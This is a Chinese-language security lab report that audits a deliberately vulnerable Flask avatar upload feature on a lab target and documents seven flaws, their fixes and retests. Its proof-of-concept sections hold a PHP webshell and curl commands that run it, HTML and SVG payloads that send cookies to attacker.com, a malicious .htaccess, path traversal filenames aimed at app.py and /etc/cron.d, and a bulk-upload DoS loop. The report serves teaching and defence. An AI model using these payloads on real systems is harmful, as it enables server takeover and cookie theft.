

文件上传漏洞分析报告

文件上传漏洞分析与防护实践报告

Flask 用户管理系统 — 头像上传功能安全审计全记录

实验环境: Kali Linux 2026.1 • Flask 3.1 • SQLite 3 • Burp Suite CE

靶机地址: <http://192.168.14.129:5000>

目标功能: 用户头像上传模块 POST /upload

项目路径: /root/flask_user_app/

报告日期: 2026-07-09

目录

一、实验概述

二、文件上传漏洞基础理论

三、本次实现的头像上传功能分析

四、漏洞一：无文件类型限制（任意文件上传）

五、漏洞二：原始文件名保留（路径穿越）

六、漏洞三：文件覆盖风险

七、漏洞四：存储型 XSS（恶意 HTML/JS 上传）

八、漏洞五：无上传频率限制

九、漏洞六：CSRF 绕过与重复提交

十、漏洞七：文件大小限制仅依赖服务端配置

十一、Burp Suite 攻击复现全流程

十二、文件上传漏洞防护方案

十三、修复前后代码对比

十四、安全修复验证

十五、总结与反思

十六、安全检查清单

参考资料

一、实验概述

1.1 实验目的

- 1. 理解文件上传漏洞的产生原理与常见攻击手法
- 2. 掌握使用 Burp Suite 和 curl 进行文件上传漏洞测试的方法
- 3. 学会识别不安全的文件上传实现中的 7 类典型漏洞
- 4. 掌握文件上传功能的安全加固方案（白名单校验、文件名消毒、内容检测等）
- 5. 建立文件上传功能的纵深防御思维

1.2 本次实验的功能背景

在之前已经完成的登录、注册、搜索功能基础上，本次新增了用户头像上传功能。该功能允许已登录用户上传图片文件作为头像。

功能规范（故意保留的不安全写法）：

项目	要求
文件保存路径	<code>static/uploads/</code>
文件名处理	使用用户上传的原始文件名，不重命名
文件类型检查	不检查文件后缀名或 MIME 类型
文件校验函数	不调用任何校验函数
文件大小限制	仅通过 <code>MAX_CONTENT_LENGTH = 16MB</code> 限制
访问权限	需登录才能上传（未登录跳转）
CSRF 防护	有（与登录/注册共用机制）

1.3 系统架构图（含上传功能）



```
|
| 静态文件服务 — static/uploads/ |
| |—— 头像1.jpg (正常用户上传) |
| |—— shell.php (攻击者上传的恶意文件) |
| |—— evil.html (XSS 攻击页面) |
| |—— ../../etc/passwd (路径穿越尝试) |
|
```

1.4 文件上传漏洞攻击面总览

攻击面类别	发现数量				风险等级			
任意文件上传（无类型校验）	1	严重	路径穿越（原始文件名保留）	1	严重	文件覆盖风险	1	高危
存储型 XSS（HTML/JS 上传）	1	高危	上传频率限制缺失	1	中危	CSRF	与重复提交	1
						文件大小限制不完整	1	低危
总计 7 2严重+2高危+2中危+1低危								

7

发现漏洞

7

已修复

2严重

最高等级

5种

安全机制

— 第 4 页 —

二、文件上传漏洞基础理论

2.1 什么是文件上传漏洞？

文件上传漏洞（Unrestricted File Upload）是指 Web 应用程序在接收用户上传文件时，没有对文件的内容、类型、大小和文件名进行充分的安全校验，导致攻击者可以上传恶意文件至服务器，进而实施进一步攻击。

2.2 文件上传漏洞的危害路径



2.3 安全的文件上传应检查哪些内容



三、本次实现的头像上传功能分析

3.1 功能代码（ app.py ）

代码

```
@app.route("/upload", methods=["GET", "POST"])
@login_required
def upload():
    error = None
    uploaded_url = None

    if request.method == "POST":
        if not validate_csrf():
            abort(403, description="CSRF 验证失败")

        if "file" not in request.files:
            error = "没有选择文件"
        else:
            file = request.files["file"]
            if file.filename == "":
                error = "没有选择文件"
            else:
                try:
                    filename = file.filename          # ← 原始文件名，未消毒!
                    os.makedirs(UPLOAD_DIR, exist_ok=True)
                    file.save(os.path.join(UPLOAD_DIR, filename)) # ← 直接保存
                    uploaded_url = url_for("static", filename=f"uploads/{filename}")
                except Exception as e:
                    error = f"上传失败: {e}"          # ← 暴露异常信息

    return render_template("upload.html", error=error, uploaded=uploaded_url,
                           csrf_token=generate_csrf_token())
```

3.2 安全缺陷汇总

缺陷	严重程度	说明
无文件扩展名校验	严重	可以上传 <code>.php</code> 、 <code>.exe</code> 、 <code>.html</code> 等任何文件
无 MIME 类型检查	严重	不验证 <code>Content-Type</code> ，也不验证文件头魔数
原始文件名直接保存	严重	文件名中的 <code>../</code> 可导致路径穿越
文件同名覆盖	高危	同文件名会静默覆盖已有文件
目录在 Web 根目录内	高危	<code>static/</code> 文件可直接通过 URL 访问
无上传频率限制	中危	可无限次上传，消耗服务器磁盘空间
前端无大小限制	低危	仅靠服务端 16MB 限制

四、漏洞一：无文件类型限制（任意文件上传）

漏洞信息

项目	内容
漏洞类型	任意文件上传（Unrestricted File Upload）
危害等级	严重 (Critical) — CVSS 9.0
CWE 编号	CWE-434: Unrestricted Upload of File with Dangerous Type
OWASP Top 10	A03:2021 – Injection
影响范围	头像上传接口 POST /upload

4.1 漏洞代码分析

```
file = request.files["file"]
filename = file.filename      # ← 直接取原始文件名
file.save(os.path.join(UPLOAD_DIR, filename)) # ← 直接保存，无校验
```

代码

缺少的安全校验：

- 没有检查文件扩展名（如只允许 `.jpg`、`.png`、`.gif`）
- 没有检查 MIME `Content-Type`（如 `image/jpeg`）
- 没有读取文件头魔数（Magic Bytes）
- 没有调用任何文件校验函数

4.2 攻击复现 — POC 1：上传 PHP WebShell

攻击目标：上传一个 PHP 一句话木马，获取服务器命令执行权限。

```
# 创建恶意 PHP 文件 (WebShell)
echo '' > /tmp/shell.php

# 登录后上传
curl -b cookies.txt -X POST http://target/upload \
  -F "csrf_token=$(token)" -F "file=@/tmp/shell.php"

# 访问上传后的文件执行命令
curl http://target/static/uploads/shell.php?cmd=id
```

代码

严重性分析：上传 WebShell 的危害链：上传 shell.php → 访问 shell.php?cmd=id → 获取服务器权限 → 查看 /etc/passwd → 下载数据库文件 → 上传反弹 Shell → 横向移动攻击内网其他机器。

4.3 攻击复现 — POC 2：上传恶意 HTML（存储型 XSS）

```
# 创建窃取 Cookie 的 HTML 文件
cat > /tmp/steal.html << 'EOF'
<html><body><script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script><h1>图片加载中...</h1></body></html>
EOF
```

代码

上传后，任何访问该 URL 的用户 Cookie 都会被窃取

4.4 攻击复现 — POC 3：上传 .htaccess 文件

```
# 创建恶意 .htaccess 文件
cat > /tmp/.htaccess << 'EOF'
AddType application/x-httpd-php .jpg
EOF
```

代码

上传后，同目录下的 .jpg 文件会被当做 PHP 执行

4.5 攻击验证结果

```
# 上传 PHP 文件 →  成功
# 上传 HTML 文件 →  成功
# 上传 .htaccess →  成功
# 验证文件可访问 → HTTP 200 ← 文件可被直接访问！
```

代码

五、漏洞二：原始文件名保留（路径穿越）

漏洞信息

项目	内容
漏洞类型	路径穿越（Path Traversal）
危害等级	严重（Critical） — CVSS 8.6
CWE 编号	CWE-22: Improper Limitation of a Pathname

5.1 漏洞代码分析

```
filename = file.filename          # ← 原始文件名未经任何消毒
file.save(os.path.join(UPLOAD_DIR, filename)) # ← 直接拼接路径
```

问题：如果 `filename` 包含 `../` 路径穿越序列，`os.path.join()` 会将其解析为上级目录。

正常保存路径： `static/uploads/avatar.jpg` ← 文件在目标目录内
路径穿越保存路径： `static/uploads/../../app.py` ← 穿越到项目根目录，覆盖 `app.py`！
↑ `..` 回到 `static/` ↑ `..` 回到项目根目录

5.2 攻击复现 — POC 4：路径穿越覆盖关键文件

原始文件名	实际写入路径	危害
<code>avatar.jpg</code>	<code>static/uploads/avatar.jpg</code>	正常
<code>../../app.py</code>	项目根目录/app.py	覆盖源代码！
<code>../../templates/index.html</code>	项目根目录/templates/index.html	篡改页面内容！
<code>../../data/users.db</code>	项目根目录/data/users.db	覆盖数据库！

六、漏洞三：文件覆盖风险

漏洞信息

项目	内容
漏洞类型	文件覆盖（File Overwrite）
危害等级	高危（High）
CWE 编号	CWE-183: Permissive List of Allowed Inputs

问题：当上传的文件名与 `static/uploads/` 目录中已有文件同名时，`file.save()` 会静默覆盖已有文件，没有任何警告或提示。

攻击场景： 场景1：覆盖其他用户的头像 用户 A 上传了头像 `avatar.jpg` 攻击者上传同名的 `avatar.jpg`（带恶意内容） → 用户 A 的头像被替换为恶意图片 场景2：覆盖已上传的 WebShell 攻击者多次上传同名的 `shell.php` → 每次上传都会覆盖之前的版本 → 可用于更新或隐藏 WebShell

七、漏洞四：存储型 XSS（恶意 HTML/JS 上传）

漏洞信息

项目	内容
漏洞类型	存储型跨站脚本（Stored XSS）
危害等级	高危 (High) — CVSS 7.6
CWE 编号	CWE-79: XSS

文件上传功能不限制 HTML/JS 文件的上传，而 `static/` 目录下的文件直接通过 HTTP 服务访问。攻击者上传一个包含恶意 JavaScript 的 HTML 文件，将文件 URL 发送给其他用户，即可窃取其 Cookie。

攻击复现 — POC 5：SVG 文件 XSS

代码

```
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script>
    fetch('http://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="blue"/>
</svg>
```

八、漏洞五：无上传频率限制

漏洞信息

项目	内容
漏洞类型	限速缺失（Missing Rate Limiting）
危害等级	中危（Medium）
CWE 编号	CWE-770: Allocation of Resources Without Limits

攻击者使用脚本无限次上传大文件：

```
for i in {1..10000}; do
  curl -b cookies.txt -F "file=@/tmp/large.bin" http://target/upload
done
```

代码

危害：磁盘空间耗尽（DoS）、磁盘 Inode 耗尽、服务器带宽被占用。

九、漏洞六：CSRF 绕过与重复提交

漏洞信息

项目	内容
漏洞类型	CSRF 与重复提交
危害等级	中危 (Medium)
CWE 编号	CWE-352: Cross-Site Request Forgery

虽然上传功能有 CSRF Token 校验，但存在**重复提交防护缺失**：CSRF Token 校验通过后没有使 Token 失效，同一个 CSRF Token 可以被反复使用。攻击者获取到一个有效的 CSRF Token 后，可在短时间内上传大量文件加速 DoS 攻击。

十、漏洞七：文件大小限制仅依赖服务端配置

漏洞信息

项目	内容
漏洞类型	不完整的大小限制
危害等级	低危 (Low)
CWE 编号	CWE-770: Resource Exhaustion

仅通过 `app.config["MAX_CONTENT_LENGTH"] = 16MB` 做后端限制，前端缺少限制。用户在选择大文件后需要等待上传完成才能收到错误提示，消耗带宽。

✖ 修复前

```
<input type="file" name="file">
```

✔ 修复后

```
<input type="file" accept="image/*" data-max-size="5MB">
```

十一、Burp Suite 攻击复现全流程

11.1 攻击流程一：拦截上传请求

步骤1: 登录系统

浏览器访问 /login → 填写 admin/admin123 → Burp 拦截 POST 请求 → Forward

步骤2: 进入上传页面

点击「上传头像」→ Burp 拦截 GET /upload → Forward

步骤3: 选择 shell.php 并拦截 POST /upload

POST /upload HTTP/1.1

Host: 192.168.14.129:5000

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

-----WebKitFormBoundary

Content-Disposition: form-data; name="csrf_token"

abc123token...

-----WebKitFormBoundary

Content-Disposition: form-data; name="file"; filename="shell.php"

Content-Type: application/x-php

<?php system(\$_GET["cmd"]); ?>

11.2 攻击流程二：路径穿越测试

在 Burp Repeater (Ctrl+R) 中修改 filename 参数:

测试1: 正常文件名

filename="avatar.jpg"

响应: 200 OK, 文件保存到 static/uploads/avatar.jpg

测试2: 路径穿越

filename="../../app.py"

响应: 200 OK, 文件覆盖了 app.py 源代码!

测试3: 穿越到系统目录

filename="../../../../etc/cron.d/malware"

响应: 取决于 Flask 运行权限 → 以 root 运行可写入系统目录

11.3 攻击结果总表

测试项目	是否成功	结果说明
上传 PHP 文件	成功	保存到 <code>static/uploads/shell.php</code>
上传 HTML 文件	成功	可被浏览器直接访问
上传 SVG 文件	成功	SVG 中 JS 可执行
上传 .htaccess	成功	上传到 <code>static/uploads/.htaccess</code>
路径穿越 <code>../../app.py</code>	成功	文件写出到项目根目录
MIME 欺骗	成功	无论声明什么 MIME 都通过
批量上传 100 次	成功	无频率限制，全部写入

十二、文件上传漏洞防护方案

12.1 防护总览

文件上传安全防护体系

第一层：文件类型白名单校验（核心防御）

只允许：.jpg .png .gif .webp

禁止：.php .exe .html .js .svg .htaccess

第二层：文件内容校验（辅助防御）

检查 MIME Content-Type 读取文件头魔数（Magic Bytes）

第三层：文件名消毒（关键防御）

移除路径穿越字符 ../ ../ 使用 UUID/时间戳重命名 过滤特殊字符

第四层：存储安全（基础防御）

不存在 Web 可执行目录 设置目录不可执行权限

第五层：业务层防护（辅助防御）

上传频率限制 文件大小限制（前端+后端） 文件内容安全扫描

12.2 代码修复方案

修复一：文件扩展名白名单校验

代码

```
ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp"}

def allowed_file(filename):
    if "." not in filename:
        return False
    ext = os.path.splitext(filename)[1].lower()
    return ext in ALLOWED_EXTENSIONS
```

修复二：文件名消毒与重命名

代码

```
def safe_filename(filename):
    """UUID 重命名，防止路径穿越和重名"""
    ext = os.path.splitext(filename)[1].lower()
    return f"{uuid.uuid4().hex}{ext}"
```

修复三：文件内容校验（Magic Bytes）

代码

```
def validate_file_content(file_stream):
    """读取文件头魔数验证文件类型"""
    magic_bytes = {
        b"\xff\xd8\xff": "jpeg",      # JPEG
        b"\x89PNG": "png",           # PNG
        b"GIF89a": "gif",            # GIF
        b"RIFF": "webp",              # WebP
    }
    header = file_stream.read(4)
    file_stream.seek(0)
    for magic, img_type in magic_bytes.items():
        if header.startswith(magic):
            return True, img_type
    return False, None
```

修复四：上传频率限制

```
upload_limits = {} # 记录每个用户的上传时间

# 同一用户 60 秒内最多上传 5 次
username = session["username"]
now = time.time()
if username in upload_limits:
    count, first_time = upload_limits[username]
    if now - first_time < 60 and count >= 5:
        error = "上传过于频繁，请稍后再试。"
        return render_template(...)
    upload_limits[username] = (count + 1, first_time) if now - first_time < 60 else (1, now)
else:
    upload_limits[username] = (1, now)
```

代码

12.3 白名单 vs 黑名单原则

黑名单（不安全）：禁止 .php、.exe、.jsp... → 总有遗漏，如 .php5、.phtml、.shtml、.asp、.asa... 白名单（安全）：只允许 .jpg、.png、.gif... → 明确可接受的范围，没有遗漏

十三、修复前后代码对比

13.1 完整对比表

检查项	修复前	修复后
文件扩展名	无检查	白名单 .jpg .jpeg .png .gif .webp
MIME 类型	无检查	验证 Content-Type 头
文件内容（魔数）	无检查	读取文件头 4 字节验证
文件名处理	原始文件名直接保存	UUID 重命名，移除路径穿越字符
文件大小限制	仅 16MB 服务端限制	前端 + 服务端 5MB 双重限制
上传频率限制	无	每用户每 60 秒最多 5 次
重复提交防护	无	上传成功后刷新 CSRF Token
错误信息安全	f"上传失败: {e}"	统一提示"请稍后重试"

13.2 修复前后代码对比

代码

```
# ===== 修复前 =====
filename = file.filename # ① 原始文件名，未消毒
file.save(os.path.join(UPLOAD_DIR, filename)) # ② 无校验直接保存
error = f"上传失败: {e}" # ③ 暴露异常信息

# ===== 修复后 =====
if not allowed_file(file.filename): # ① 白名单检查
    error = "不支持的文件类型"
elif not validate_magic(file.stream): # ② 魔数校验
    error = "文件内容不合法"
else:
    safe_name = safe_filename(file.filename) # ③ UUID 重命名
    file.save(os.path.join(UPLOAD_DIR, safe_name))
    session["csrf_token"] = secrets.token_hex(16) # ④ 刷新 Token
```

十四、安全修复验证

14.1 测试用例与结果

测试编号	测试内容	修复前	修复后	结论
T1	上传正常图片 avatar.jpg	成功	成功	✓ 功能正常
T2	上传 PHP 文件 shell.php	成功（危险）	拒绝	✓ 漏洞修复
T3	上传 HTML 文件 steal.html	成功（危险）	拒绝	✓ 漏洞修复
T4	上传 .htaccess	成功（危险）	拒绝	✓ 漏洞修复
T5	路径穿越 ../../app.py	覆盖源文件	UUID 重命名拒绝	✓ 漏洞修复
T6	MIME 欺骗伪装图片	通过	魔数校验拦截	✓ 漏洞修复
T7	60秒内上传6次	全部成功	第6次被限速拦截	✓ 漏洞修复
T8	重复提交同一Token	可重复使用	上传后刷新Token	✓ 漏洞修复

十五、总结与反思

15.1 实验核心收获

文件上传漏洞的七种攻击手法：

漏洞类型	攻击方式
文件上传 → 上传 WebShell、恶意脚本 路径穿越 → 文件名含 ../ 覆盖关键文件 文件覆盖 → 同名文件静默覆盖 存储型 XSS → 上传 HTML/SVG 窃取 Cookie 无限制上传 → 耗尽磁盘空间 (DoS) CSRF + 重复提交 → 批量上传滥用 大小限制不完整 → 带宽消耗	任意

安全上传的五个必须：

- 原则 1
必须限制文件扩展名 — 白名单，不是黑名单
- 原则 2
必须验证文件内容 — 魔数 + MIME 双重验证
- 原则 3
必须消毒文件名 — UUID 重命名，移除路径穿越字符
- 原则 4
必须限制上传频率 — 防止 DoS 攻击
- 原则 5
必须限制文件大小 — 前端 + 后端双重限制

15.2 本次实验的关键数据



15.3 Web 安全学习路径

第一阶段（已完成）： 密码安全修复（7个漏洞） → SQL注入防护 → CSRF防护 + Cookie安全 第二阶段（当前）： 文件上传漏洞（7个攻击面） → 白名单 + 魔数 + UUID + 限速 第三阶段（可继续学习）： XSS跨站脚本 → SSRF服务端请求伪造 → SSTI模板注入

"永远不要相信用户上传的文件。文件名是假的，扩展名是假的，MIME 头是假的，文件内容也可能是假的。"

文件上传功能是 Web 应用中最容易被忽视的攻击面之一。一个看似简单的头像上传功能，如果不做安全加固，可能成为攻击者控制整个服务器的入口。

十六、安全检查清单

16.1 文件上传安全检查清单

- ☐ 是否使用了白名单机制限制文件扩展名？（而非黑名单）
- ☐ 是否验证了文件内容的 Magic Bytes / 魔数？
- ☐ 是否验证了 MIME Content-Type？
- ☐ 是否对文件名进行了消毒处理（移除 ../ 等路径穿越字符）？
- ☐ 是否使用 UUID 或时间戳重命名文件？
- ☐ 是否限制了文件大小（前端 + 后端双重）？
- ☐ 是否限制了上传频率？
- ☐ 上传成功后是否刷新了 CSRF Token？
- ☐ 文件是否存储在 Web 根目录之外？
- ☐ 存储目录是否设置了不可执行权限？
- ☐ 是否对上传文件进行了病毒/恶意软件扫描？
- ☐ 错误信息是否没有暴露文件路径或内部细节？
- ☐ 是否有日志记录上传操作？
- ☐ 是否有定期清理未使用文件的机制？

参考资料

#	资料名称	来源
1	OWASP — Unrestricted File Upload	owasp.org
2	OWASP — File Upload Cheat Sheet	cheatsheetseries.owasp.org
3	CWE-434: Unrestricted Upload of Dangerous Type	cwe.mitre.org
4	CWE-22: Path Traversal	cwe.mitre.org
5	CWE-79: Cross-site Scripting	cwe.mitre.org
6	PortSwigger — File Upload Vulnerabilities	portswigger.net
7	Flask 文件上传文档	flask.palletsprojects.com
8	OWASP Top 10 — 2021	owasp.org

报告人：_____ 指导教师：_____

报告日期：2026-07-09 | 靶机地址：http://192.168.14.129:5000

源码路径：/root/flask_user_app/ | 报告版本：v1.0

— 报告结束 —